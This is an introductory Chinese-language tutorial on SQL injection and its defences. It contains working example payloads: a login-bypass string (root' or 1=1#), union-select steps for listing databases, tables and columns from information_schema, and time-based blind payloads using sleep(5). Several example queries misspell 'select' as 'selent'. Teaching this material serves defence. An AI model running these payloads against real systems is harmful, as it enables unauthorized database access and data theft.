初识SQL注入
字数 1384 2025-08-15 21:31:30
SQL注入攻击原理与防御指南
一、SQL注入概述
SQL注入是一种常见的Web安全漏洞,攻击者通过构造特殊的SQL语句,利用应用程序对用户输入数据过滤不严的缺陷,实现对数据库的非授权访问和操作。
关键条件
- 用户能够控制输入的内容
- Web应用将用户输入的内容直接拼接到SQL语句中执行
二、SQL注入类型
1. 按输入类型分类
- 数字型注入:
selent * from users where id=1 - 字符型注入:
- 单引号:
selent * from users where id='1' - 双引号:
selent * from users where id="1" - 带括号:
selent * from users where (id=1)selent * from users where (id='1')selent * from users where (id="1")
- 单引号:
2. 按攻击方式分类
- 联合查询注入:使用UNION SELECT获取数据
- 布尔盲注:通过页面返回的真假判断信息
- 时间盲注:通过延时函数判断条件真假
- 报错注入:利用数据库报错信息获取数据
三、经典注入技术
1. 万能密码攻击
- 攻击示例:在登录表单输入
root' or 1=1# - 原理分析:
原始SQL:SELECT * FROM admin WHERE Username='root' and Password='pass' 注入后:SELECT * FROM admin WHERE Username='root' or 1=1#' and Password='pass'#注释掉后续密码验证部分or 1=1使条件恒为真
2. 联合查询注入步骤
- 探测注入点:
id=55'观察是否报错 - 注释测试:
id=55'%23(%23是#的URL编码) - 确定列数:
order by n递增n直到报错 - 确定显示位:
union select 1,2,3,... - 获取信息:
- 数据库用户:
user() - 当前数据库:
database() - 所有数据库:
(select group_concat(schema_name) from information_schema.SCHEMATA) - 指定库的表:
(select group_concat(table_name) from information_schema.TABLES where table_schema='test') - 表字段:
(select group_concat(column_name) from information_schema.COLUMNS where table_schema='test' and table_name='admin') - 数据内容:
(select group_concat(news) from test.admin)
- 数据库用户:
3. 时间盲注技术
通过sleep函数判断条件:
1' and sleep(5) %23
1') and sleep(5) %23
1' and if(1=1,sleep(5),0) %23
四、防御措施
1. 输入验证与过滤
- 对用户输入进行严格的白名单验证
- 过滤特殊字符如单引号、双引号、注释符等
2. 参数化查询
使用预编译语句(Prepared Statement),避免SQL拼接
3. 最小权限原则
数据库账户只授予必要的最小权限
4. 错误处理
避免将数据库错误信息直接显示给用户
5. 安全编码实践
- 使用ORM框架
- 定期进行安全审计和渗透测试
- 保持系统和组件更新
五、总结
SQL注入攻击危害严重,可能导致数据泄露、篡改甚至服务器沦陷。开发者应充分了解其原理,在开发过程中采用安全编码实践,结合多种防御措施,才能有效防范此类攻击。